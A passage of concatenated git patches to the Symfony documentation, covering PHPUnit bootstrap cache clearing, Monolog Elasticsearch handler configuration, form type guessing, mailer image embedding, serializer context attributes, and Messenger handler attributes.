-Then, check that your ``phpunit.xml.dist`` file runs this ``bootstrap.php`` file
-before running the tests:
+      // tests/bootstrap.php
+      use Symfony\Component\Dotenv\Dotenv;
 
-.. code-block:: xml
+      require dirname(__DIR__).'/vendor/autoload.php';
 
-    <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <phpunit
-        bootstrap="tests/bootstrap.php"
-    >
-        <!-- ... -->
-    </phpunit>
+      if (file_exists(dirname(__DIR__).'/config/bootstrap.php')) {
+          require dirname(__DIR__).'/config/bootstrap.php';
+      } elseif (method_exists(Dotenv::class, 'bootEnv')) {
+          (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
+      }
+
+    + if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
+    +     // executes the "php bin/console cache:clear" command
+    +     passthru(sprintf(
+    +         'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
+    +         $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
+    +         __DIR__
+    +     ));
+    + }
+
+.. note::
 
-Now, you can define in your ``phpunit.xml.dist`` file which environment you want the
-cache to be cleared:
+    If you don't use Symfony Flex, make sure this file is configured as
+    bootstrap file in your ``phpunit.xml.dist`` file:
+
+    .. code-block:: xml
+
+        <!-- phpunit.xml.dist -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <phpunit
+            bootstrap="tests/bootstrap.php"
+        >
+            <!-- ... -->
+        </phpunit>
+
+Now, you can update the ``phpunit.xml.dist`` file to declare the custom
+environment variable introduced to ``tests/bootstrap.php``:
 
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
     <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit>
-        <!-- ... -->
-
         <php>
             <env name="BOOTSTRAP_CLEAR_CACHE_ENV" value="test"/>
+            <!-- ... -->
         </php>
+
+        <!-- ... -->
     </phpunit>
 
-This now becomes an environment variable (i.e. ``$_ENV``) that's available
-in the custom bootstrap file (``tests/bootstrap.php``).
+Now, when running ``vendor/bin/phpunit``, the cache will be cleared
+automatically by the bootstrap file before running all tests.

From 9d762e72ff181ae81f9d12c26ad5bce89f7186b3 Mon Sep 17 00:00:00 2001
From: Pedro Resende <pedroresende@mail.resende.biz>
Date: Thu, 15 Jul 2021 19:32:25 +0100
Subject: [PATCH 3763/7107] Example remote ElasticsearchLogstashHandler

---
 logging/handlers.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 0ce0f4c3249..a77bc8ec9d8 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -30,6 +30,15 @@ To use it, declare it as a service:
         services:
             Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
 
+            # optionally, configure the handler using the constructor arguments (shown values are default)
+            Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
+                arguments:
+                    $endpoint: "http://127.0.0.1:9200"
+                    $index: "monolog"
+                    $client: null
+                    $level: !php/const Monolog\Logger::DEBUG
+                    $bubble: true
+
     .. code-block:: xml
 
         <!-- config/services.xml -->
@@ -44,16 +53,37 @@ To use it, declare it as a service:
 
             <services>
                 <service id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler"/>
+
+                <!-- optionally, configure the handler using the constructor arguments (shown values are default) -->
+                <service id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler">
+                    <argument key="endpoint">http://127.0.0.1:9200</argument>
+                    <argument key="index">monolog</argument>
+                    <argument key="client"/>
+                    <argument key="level" type="constant">Monolog\Logger::DEBUG</argument>
+                    <argument key="bubble">true</argument>
+                </service>
             </services>
         </container>
 
     .. code-block:: php
 
         // config/services.php
+        use Monolog\Logger;
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
 
         $container->register(ElasticsearchLogstashHandler::class);
 
+        // optionally, configure the handler using the constructor arguments (shown values are default)
+        $container->register(ElasticsearchLogstashHandler::class)
+            ->setArguments(
+                '$endpoint' => "http://127.0.0.1:9200",
+                '$index' => "monolog",
+                '$client' => null,
+                '$level' => Logger::DEBUG,
+                '$bubble' => true,
+            )
+        ;
+
 Then reference it in the Monolog configuration:
 
 .. configuration-block::

From 22217fa37d2c64b664a3bacfad1aa04aeb6b7587 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 17:08:05 +0200
Subject: [PATCH 3764/7107] Document new Logstash handler argument

---
 logging/handlers.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index e42452cd7de..14a3a36518c 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -34,6 +34,7 @@ To use it, declare it as a service:
                     $client: null
                     $level: !php/const Monolog\Logger::DEBUG
                     $bubble: true
+                    $elasticsearchVersion: '1.0.0'
 
     .. code-block:: xml
 
@@ -57,6 +58,7 @@ To use it, declare it as a service:
                     <argument key="client"/>
                     <argument key="level" type="constant">Monolog\Logger::DEBUG</argument>
                     <argument key="bubble">true</argument>
+                    <argument key="elasticsearchVersion">1.0.0</argument>
                 </service>
             </services>
         </container>
@@ -77,9 +79,14 @@ To use it, declare it as a service:
                 '$client' => null,
                 '$level' => Logger::DEBUG,
                 '$bubble' => true,
+                '$elasticsearchVersion' => '1.0.0',
             )
         ;
 
+.. versionadded:: 5.4
+
+    The ``$elasticsearchVersion`` argument was introduced in Symfony 5.4.
+
 Then reference it in the Monolog configuration:
 
 .. configuration-block::

From 03ecb465f88c4fd54931f89cb1d7577a39d07d71 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 17:09:47 +0200
Subject: [PATCH 3765/7107] Remove 5.4 versionadded

---
 logging/handlers.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 14a3a36518c..ef4c8990d48 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -83,10 +83,6 @@ To use it, declare it as a service:
             )
         ;
 
-.. versionadded:: 5.4
-
-    The ``$elasticsearchVersion`` argument was introduced in Symfony 5.4.
-
 Then reference it in the Monolog configuration:
 
 .. configuration-block::

From 0caef0b42d42f887545e72963857737fe70a6cd8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 10 Oct 2022 01:06:39 +0200
Subject: [PATCH 3766/7107] Minor (language) improvements

Most important: Changing the ambiguous "**can** be guessed" to "**will be guessed".
---
 forms.rst | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/forms.rst b/forms.rst
index 8bf2b64ad2a..bc3e471c143 100644
--- a/forms.rst
+++ b/forms.rst
@@ -840,13 +840,13 @@ Form Type Guessing
 ~~~~~~~~~~~~~~~~~~
 
 If the object handled by the form includes validation constraints, Symfony can
-introspect that metadata to guess the type of your field and set it up for you.
-In the above example, Symfony can guess from the validation rules that both the
+introspect that metadata to guess the type of your field.
+In the above example, Symfony can guess from the validation rules that the
 ``task`` field is a normal ``TextType`` field and the ``dueDate`` field is a
 ``DateType`` field.
 
-When building the form, omit the second argument to the ``add()`` method, or
-pass ``null`` to it, to enable Symfony's "guessing mechanism"::
+To enable Symfony's "guessing mechanism", omit the second argument to the ``add()`` method, or
+pass ``null`` to it::
 
     // src/Form/Type/TaskType.php
     namespace App\Form\Type;
@@ -881,23 +881,21 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism"::
 Form Type Options Guessing
 ..........................
 
-When the guessing mechanism is enabled for some field (i.e. you omit or pass
-``null`` as the second argument to ``add()``), in addition to its form type,
-the following options can be guessed too:
+When the guessing mechanism is enabled for some field, in addition to its form type,
+the following options will be guessed too:
 
 ``required``
-    The ``required`` option can be guessed based on the validation rules (i.e. is
+    The ``required`` option is guessed based on the validation rules (i.e. is
     the field ``NotBlank`` or ``NotNull``) or the Doctrine metadata (i.e. is the
     field ``nullable``). This is very useful, as your client-side validation will
     automatically match your validation rules.
 
 ``maxlength``
     If the field is some sort of text field, then the ``maxlength`` option attribute
-    can be guessed from the validation constraints (if ``Length`` or ``Range`` is used)
+    is guessed from the validation constraints (if ``Length`` or ``Range`` is used)
     or from the :doc:`Doctrine </doctrine>` metadata (via the field's length).
 
-If you'd like to change one of the guessed values, override it by passing the
-option in the options field array::
+If you'd like to change one of the guessed values, override it in the options field array::
 
     ->add('task', null, ['attr' => ['maxlength' => 4]])
 

From 4238c6d85a8a63ec77d8bc620f6b87931706023d Mon Sep 17 00:00:00 2001
From: hakimtechmyteam <aboulhaj.abdelhakim@gmail.com>
Date: Sat, 8 Oct 2022 22:52:28 +0100
Subject: [PATCH 3767/7107] [IntegerType] fix rounding_mode default value

change default value of rounding_mode option from \NumberFormatter::ROUND_HALFUP to default: \NumberFormatter::ROUND_DOWN
see https://github.com/symfony/symfony/blob/6.0/src/Symfony/Component/Form/Extension/Core/Type/IntegerType.php::49
---
 reference/forms/types/integer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index f4654e96591..5889ee0e21f 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -35,7 +35,7 @@ Field Options
 ``rounding_mode``
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN``
 
 By default, if the user enters a non-integer number, it will be rounded
 down. You have several configurable options for that rounding. Each option

From 19570b8e7aae430a9f4a6658d8d2025eb9358eef Mon Sep 17 00:00:00 2001
From: rogamoore <rogamoore@users.noreply.github.com>
Date: Tue, 11 Oct 2022 15:07:22 +0100
Subject: [PATCH 3768/7107] add tip about listener priority to mailer.rst

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index d03bbef5a33..4190b079a97 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1056,6 +1056,14 @@ is sent::
         }
     }
 
+.. tip::
+
+    The ``MessageEvent`` is also used internally. Depending on your use case
+    you might need to set a lower or higher priority for your own listener.
+    For example, when you want to sign the message, make sure to use ``-1``
+    or lower so the body has already been rendered and will not change after
+    signing.
+
 Development & Debugging
 -----------------------
 

From cb957d76a0af961fb2c0b955e3342c932bbe028a Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 8 Oct 2022 11:10:04 +0200
Subject: [PATCH 3769/7107] [Messenger] Deprecate `MessageSubscriberInterface`

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b290b91bc72..b5e7a2e8377 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1980,6 +1980,11 @@ A handler class can handle multiple messages or configure itself by implementing
         }
     }
 
+.. deprecated:: 6.2
+
+    :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` was deprecated in Symfony 6.2.
+    Use :class:`#[AsMessageHandler] <Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler>` attribute instead.
+
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3b08979d1c460a93ce3232cd57bd21255ea1366b Mon Sep 17 00:00:00 2001
From: Joris Ros <joris.ros@gmail.com>
Date: Fri, 7 Oct 2022 18:24:44 +0200
Subject: [PATCH 3770/7107] docs: Add the mime type in the example

While embedding images the examples don't have a mimetype. Some email clients will not work while missing that mimetype.
---
 mailer.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d03bbef5a33..32303f97aac 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -390,9 +390,9 @@ file or stream::
     $email = (new Email())
         // ...
         // get the image contents from a PHP resource
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo')
+        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
         // get the image contents from an existing file
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature')
+        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
     ;
 
 The second optional argument of both methods is the image name ("Content-ID" in
@@ -401,8 +401,9 @@ images inside the HTML contents::
 
     $email = (new Email())
         // ...
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo')
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature')
+        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
+        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
+
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;

From 800017d4267596fc61b557a2eedae5832ea75089 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Thu, 13 Oct 2022 14:50:18 +0200
Subject: [PATCH 3771/7107] [Serializer] Allow to provide (de)normalization
 context in mapping

---
 components/serializer.rst |   5 ++
 serializer.rst            | 106 ++++++++++++++++++++++++++++++++++++++
 2 files changed, 111 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 1690959defa..b6e5498d31b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -229,6 +229,11 @@ normalized data, instead of the denormalizer re-creating them. Note that
 arrays of objects. Those will still be replaced when present in the normalized
 data.
 
+Context
+-------
+
+Many Serializer features can be configured :doc:`using a context </serializer#serializer-context>`.
+
 .. _component-serializer-attributes-groups:
 
 Attributes Groups
diff --git a/serializer.rst b/serializer.rst
index ab3e8b2002f..cc98e64e66e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -172,6 +172,112 @@ configuration:
     The ability to configure the ``default_context`` option in the
     Serializer was introduced in Symfony 5.4.
 
+You can also specify the context on a per-property basis::
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+        class Person
+        {
+            /**
+             * @Context({ DateTimeNormalizer::FORMAT_KEY = 'Y-m-d' })
+             */
+            public $createdAt;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+        class Person
+        {
+            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
+            public $createdAt;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    context:
+                        datetime_format: 'Y-m-d'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
+
+Use the options to specify context specific to normalization or denormalization::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    class Person
+    {
+        #[Context(
+            normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
+            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+        )]
+        public $createdAt;
+
+        // ...
+    }
+
+You can also restrict the usage of a context to some groups::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    class Person
+    {
+        #[Serializer\Groups(['extended'])]
+        #[Serializer\Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+        #[Serializer\Context(
+            context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+            groups: ['extended'],
+        )]
+        public $createdAt;
+
+        // ...
+    }
+
+The attribute/annotation can be repeated as much as needed on a single property.
+Context without group is always applied first. Then context for the matching groups are merged in the provided order.
+
+.. versionadded:: 5.3
+
+    The ``Context`` attribute, annotation and the configuration options were introduced in Symfony 5.3.
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From e84000da7dc8e6d9ca87f2c8da6480c56c896e06 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Thu, 13 Oct 2022 15:05:21 +0200
Subject: [PATCH 3772/7107] [Serializer] Remove note about installing the
 FrameworkExtraBundle for using annotations

---
 serializer.rst | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 662c04d05c3..bf517a48a95 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -84,13 +84,7 @@ possible to set the priority of the tag in order to decide the matching order.
 Using Serialization Groups Annotations
 --------------------------------------
 
-To use annotations, first add support for them via the SensioFrameworkExtraBundle:
-
-.. code-block:: terminal
-
-    $ composer require sensio/framework-extra-bundle
-
-Next, add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>`
+You can add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>`
 to your class::
 
     // src/Entity/Product.php

From e1c8dc8dd912c09e6cfcee3187fad8c896c719fe Mon Sep 17 00:00:00 2001
From: Colin O'Dell <colinodell@gmail.com>
Date: Thu, 13 Oct 2022 17:15:50 -0400
Subject: [PATCH 3773/7107] Reword "max lifetime" to "default lifetime"

---
 components/cache/adapters/chain_adapter.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst
index acb4cccaa43..b0dd5d029ee 100644
--- a/components/cache/adapters/chain_adapter.rst
+++ b/components/cache/adapters/chain_adapter.rst
@@ -12,7 +12,7 @@ This adapter allows combining any number of the other
 fetched from the first adapter containing them and cache items are saved to all the
 given adapters. This exposes a simple and efficient method for creating a layered cache.
 
-The ChainAdapter must be provided an array of adapters and optionally a maximum cache
+The ChainAdapter must be provided an array of adapters and optionally a default cache
 lifetime as its constructor arguments::
 
     use Symfony\Component\Cache\Adapter\ChainAdapter;
@@ -21,8 +21,8 @@ lifetime as its constructor arguments::
         // The ordered list of adapters used to fetch cached items
         array $adapters,
 
-        // The max lifetime of items propagated from lower adapters to upper ones
-        $maxLifetime = 0
+        // The default lifetime of items propagated from lower adapters to upper ones
+        $defaultLifetime = 0
     );
 
 .. note::

From 85ad399b93f100315b9a0e49dbf3bca71bf2e29d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 13 Oct 2022 23:27:00 +0200
Subject: [PATCH 3774/7107] [Serializer] Add
 PropertyNormalizer::NORMALIZE_VISIBILITY documentation

---
 components/serializer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index c4ed5b8ce0a..5dc2083fcf6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -797,6 +797,12 @@ The Serializer component provides several built-in normalizers:
     parent classes) by using `PHP reflection`_. It supports calling the constructor
     during the denormalization process.
 
+.. versionadded:: 6.2
+
+    You can change normalization visibility by setting the serializer context option
+    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` and combine ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
+
     Objects are normalized to a map of property names to property values.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`

From 010de4d7bd43fbc30b80c0ccddaba12f45833f12 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 12 Oct 2022 16:50:45 +0100
Subject: [PATCH 3775/7107] [Symfony UX] reference Vue component in VueJs page

---
 frontend/encore/vuejs.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index a4162e00b65..769afa8e824 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -6,6 +6,10 @@ Enabling Vue.js (``vue-loader``)
 
     Do you prefer video tutorials? Check out the `Vue screencast series`_.
 
+.. tip::
+
+    Check out live demos of Symfony UX Vue component at `https://ux.symfony.com/vue`_!
+    
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
@@ -180,3 +184,4 @@ following in your Twig templates:
 .. _`Scoped Styles`: https://vue-loader.vuejs.org/guide/scoped-css.html
 .. _`CSS Modules`: https://github.com/css-modules/css-modules
 .. _`Vue screencast series`: https://symfonycasts.com/screencast/vue
+.. _`https://ux.symfony.com/vue`: https://ux.symfony.com/vue

From 6a369b3eb7c832e03d6d8dbcaaf13958d32510fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Oct 2022 10:15:30 +0200
Subject: [PATCH 3776/7107] Minor fix

---
 frontend/encore/vuejs.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 769afa8e824..a0955ff5b97 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -8,7 +8,7 @@ Enabling Vue.js (``vue-loader``)
 
 .. tip::
 
-    Check out live demos of Symfony UX Vue component at `https://ux.symfony.com/vue`_!
+    Check out live demos of Symfony UX Vue.js component at `https://ux.symfony.com/vue`_!
     
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 

From 219307ef4b74198397041fc8d50926dc5c741cc0 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 12 Oct 2022 16:48:28 +0100
Subject: [PATCH 3777/7107] [Symfony UX] reference React component in React
 page

---
 frontend/encore/reactjs.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 96f45a09f5b..facd7cdcbb6 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -6,6 +6,10 @@ Enabling React.js
 
     Do you prefer video tutorials? Check out the `React.js screencast series`_.
 
+.. tip::
+
+    Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
+    
 Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
@@ -36,3 +40,4 @@ Encore, you're done!
 Your ``.js`` and ``.jsx`` files will now be transformed through ``babel-preset-react``.
 
 .. _`React.js screencast series`: https://symfonycasts.com/screencast/reactjs
+.. _`https://ux.symfony.com/react`: https://ux.symfony.com/react

From 5e9482b1809f38a9f5471e4f30196409c467c7d8 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 15 Oct 2022 09:56:54 +0200
Subject: [PATCH 3778/7107] [Form] Improve `ChoiceType` CS

---
 reference/forms/types/choice.rst                  | 10 +++++-----
 reference/forms/types/options/choice_attr.rst.inc |  2 +-
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index ec4f79c7205..719faf12fca 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -72,21 +72,21 @@ method::
         // a callback to return the label for a given choice
         // if a placeholder is used, its empty value (null) may be passed but
         // its label is defined by its own "placeholder" option
-        'choice_label' => function(?Category $category) {
+        'choice_label' => function (?Category $category) {
             return $category ? strtoupper($category->getName()) : '';
         },
         // returns the html attributes for each option input (may be radio/checkbox)
-        'choice_attr' => function(?Category $category) {
+        'choice_attr' => function (?Category $category) {
             return $category ? ['class' => 'category_'.strtolower($category->getName())] : [];
         },
         // every option can use a string property path or any callable that get
         // passed each choice as argument, but it may not be needed
-        'group_by' => function() {
+        'group_by' => function () {
             // randomly assign things into 2 groups
             return rand(0, 1) == 1 ? 'Group A' : 'Group B';
         },
         // a callback to return whether a category is preferred
-        'preferred_choices' => function(?Category $category) {
+        'preferred_choices' => function (?Category $category) {
             return $category && 100 < $category->getArticleCounts();
         },
     ]);
@@ -190,7 +190,7 @@ if you want to take advantage of lazy loading::
     // ...
 
     $builder->add('constants', ChoiceType::class, [
-        'choice_loader' => new CallbackChoiceLoader(function() {
+        'choice_loader' => new CallbackChoiceLoader(function () {
             return StaticClass::getConstants();
         }),
     ]);
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index b86b7450778..acb0fc677aa 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -33,7 +33,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
             'No' => false,
             'Maybe' => null,
         ],
-        'choice_attr' => function($choice, $key, $value) {
+        'choice_attr' => function ($choice, $key, $value) {
             // adds a class like attending_yes, attending_no, etc
             return ['class' => 'attending_'.strtolower($key)];
         },

From 157020f92865e38aa9abf7036d0b7f32ee76a686 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 15 Oct 2022 10:03:52 +0200
Subject: [PATCH 3779/7107] drop the MessageSubscriberInterface in favor of the
 #AsMessageHandler attribute

---
 messenger.rst | 58 +++++++++++++++------------------------------------
 1 file changed, 17 insertions(+), 41 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0b8e1ee1eae..0e1298a3516 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -667,7 +667,7 @@ of some or all transports:
     $ php bin/console messenger:stats my_transport_name other_transport_name
 
 .. note::
-    
+
     In order for this command to work, the configured transport's receiver must implement
     :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
 
@@ -1061,7 +1061,7 @@ to retry them:
 
     # see all messages in the failure transport with a default limit of 50
     $ php bin/console messenger:failed:show
-    
+
     # see the 10 first messages
     $ php bin/console messenger:failed:show --max=10
 
@@ -1935,49 +1935,38 @@ Possible options to configure with tags are:
 * ``method``
 * ``priority``
 
-Handler Subscriber & Options
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _handler-subscriber-options:
+
+Handling Multiple Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-A handler class can handle multiple messages or configure itself by implementing
-:class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface`::
+A handler class can handle multiple messages. For that add the ``#AsMessageHandler`` attribute to the handling methods::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
 
     use App\Message\OtherSmsNotification;
     use App\Message\SmsNotification;
-    use Symfony\Component\Messenger\Handler\MessageSubscriberInterface;
 
-    class SmsNotificationHandler implements MessageSubscriberInterface
+    class SmsNotificationHandler
     {
-        public function __invoke(SmsNotification $message)
+        #[AsMessageHandler]
+        public function handleSmsNotification(SmsNotification $message)
         {
             // ...
         }
 
+        #[AsMessageHandler]
         public function handleOtherSmsNotification(OtherSmsNotification $message)
         {
             // ...
         }
-
-        public static function getHandledMessages(): iterable
-        {
-            // handle this message on __invoke
-            yield SmsNotification::class;
-
-            // also handle this message on handleOtherSmsNotification
-            yield OtherSmsNotification::class => [
-                'method' => 'handleOtherSmsNotification',
-                //'priority' => 0,
-                //'bus' => 'messenger.bus.default',
-            ];
-        }
     }
 
 .. deprecated:: 6.2
 
-    :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` was deprecated in Symfony 6.2.
-    Use :class:`#[AsMessageHandler] <Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler>` attribute instead.
+    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` is another way to
+    handle multiple messages with one handler class. This interface was deprecated in Symfony 6.2.
 
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -2002,21 +1991,14 @@ To do this, add the ``from_transport`` option to each handler. For example::
     namespace App\MessageHandler;
 
     use App\Message\UploadedImage;
-    use Symfony\Component\Messenger\Handler\MessageSubscriberInterface;
 
-    class ThumbnailUploadedImageHandler implements MessageSubscriberInterface
+    #[AsMessageHandler(from_transport: 'image_transport')]
+    class ThumbnailUploadedImageHandler
     {
         public function __invoke(UploadedImage $uploadedImage)
         {
             // do some thumbnailing
         }
-
-        public static function getHandledMessages(): iterable
-        {
-            yield UploadedImage::class => [
-                'from_transport' => 'image_transport',
-            ];
-        }
     }
 
 And similarly::
@@ -2024,16 +2006,10 @@ And similarly::
     // src/MessageHandler/NotifyAboutNewUploadedImageHandler.php
     // ...
 
-    class NotifyAboutNewUploadedImageHandler implements MessageSubscriberInterface
+    #[AsMessageHandler(from_transport: 'async_priority_normal')]
+    class NotifyAboutNewUploadedImageHandler
     {
         // ...
-
-        public static function getHandledMessages(): iterable
-        {
-            yield UploadedImage::class => [
-                'from_transport' => 'async_priority_normal',
-            ];
-        }
     }
 
 Then, make sure to "route" your message to *both* transports:

From ae92fd72203248080a50b46b834685e2232276e2 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 15 Oct 2022 10:44:15 +0200
